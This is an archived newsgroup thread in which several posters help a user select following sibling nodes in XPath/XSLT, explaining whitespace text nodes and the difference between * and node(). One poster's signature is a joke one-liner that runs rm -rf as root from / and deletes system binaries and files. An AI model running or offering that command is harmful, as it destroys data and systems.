XPATH: expression question

[Tjerk Wolterink]

Given an node with path a/b[@id=1]

how do i get the next three following sibling nodes?

example document

<a>
<b id="1"/>
<b/>
<b/>
<b/>
</a>


ok you could say: a/b[not(@id)], but that are only three in this example doc.


but i dont know the exact path,
the only thin is know is that . or node() is some b node.

i use these xpath expression in an xsl tranformation where i want to
create a table with images.

look at this:

<table>
<xsl:for-each select="b[(position() mod 3)=1]">
<tr>
<td>
<xsl:call-template name="sometempl ">
<xsl:with-param name="param" select="."/>
</xsl:call-template>
</td>
<td>
<xsl:if test="following-sibling::node()[position()=1]">
<xsl:call-template name="sometempl ">
<xsl:with-param name="param" select="followi ng-sibling::node()[position()=1]/>
</xsl:call-template>
</xsl:if>
</td>
<td>
<xsl:if test="following-sibling::node()[position()=2]">
<xsl:call-template name="sometempl ">
<xsl:with-param name="param" select="followi ng-sibling::node()[position()=2]/>
</xsl:call-template>
</xsl:if>
</td>
</tr>
</xsl:for-each>
</table>

but this does not work
hope you know what i mean.

[Tjerk Wolterink]

Re: XPATH: expression question

Tjerk Wolterink wrote:[color=blue]
> Given an node with path a/b[@id=1]
> [cut][/color]

ok,
what does following-sibling exactly mean??
I am dutch and i cannot find the word Sibling in my english dictionairy.

[David Carlisle]

Re: XPATH: expression question

[color=blue]
> I am dutch and i cannot find the word Sibling in my english dictionairy.[/color]

sibling means children of your parent, ie it means brother-or-sister,
except that XML nodes have several properties but gender is not one of
them so "brother-or-sister" doesn't sound quite right.

following-sibling means all nodes that are later in document order than
the current node, following-sibling::*[position()&lt;4] finds the next
three element nodes that are siblings.

David

[Tjerk Wolterink]

Re: XPATH: expression question

David Carlisle wrote:[color=blue][color=green]
>>I am dutch and i cannot find the word Sibling in my english dictionairy.[/color]
>
>
> sibling means children of your parent, ie it means brother-or-sister,
> except that XML nodes have several properties but gender is not one of
> them so "brother-or-sister" doesn't sound quite right.
>
> following-sibling means all nodes that are later in document order than
> the current node, following-sibling::*[position()&lt;4] finds the next
> three element nodes that are siblings.
>
> David[/color]

ok then there is something wrong with my xsl-parser.

with this xsl:

<xsl:for-each select="./xc:item[(position() mod $cols)=1]">
<row>
<xsl:apply-templates select="."/>
<xsl:apply-templates select="followi ng-sibling::node()[position() &lt; $cols+1]"/>
</row>
</xsl:for-each>

....
<xsl:template match="xc:item" >
<col>X</col>
</xsl:template>

But know when $cols=3 i get this:

<row>
<col>X</col>
<col>X</col>
</row>
<row>
<col>X</col>
<col>X</col>
</row>
<row>
<col>X</col>
<col>X</col>
</row>


but there should be 3 cols?? Or am i wrong?

[Richard Tobin]

Re: XPATH: expression question

In article <422dbb98$0$947 17$dbd43001@new s.wanadoo.nl>,
Tjerk Wolterink <tjerk@wolterin kwebdesign.com> wrote:
[color=blue]
>But know when $cols=3 i get this:[/color]
[color=blue]
><row>
> <col>X</col>
> <col>X</col>
></row>[/color]
[color=blue]
>but there should be 3 cols?? Or am i wrong?[/color]

Bear in mind that node() will match the whitespace text nodes between
elements as well as the elements themselves. If you want the
following *element* siblings, use * instead of node().

-- Richard

[David Carlisle]

Re: XPATH: expression question

[color=blue]
> Or am i wrong?[/color]

yes see Richard's reply (and note I did use * in the example that you quoted:-)
This is a faq, the xsl-list faq has lots on this, eg

http://www.dpawson.co.uk/xsl/sect2/N6099.html#d7586e70

David

[Peter Flynn]

Re: XPATH: expression question

Tjerk Wolterink wrote:
[color=blue]
> Given an node with path a/b[@id=1]
>
> how do i get the next three following sibling nodes?
>
> example document
>
> <a>
> <b id="1"/>
> <b/>
> <b/>
> <b/>
> </a>[/color]

a/b[@id="1"]/following-sibling::b

///Peter
--
sudo sh -c "cd /; /bin/rm -rf `which killall kill ps shutdown` * &"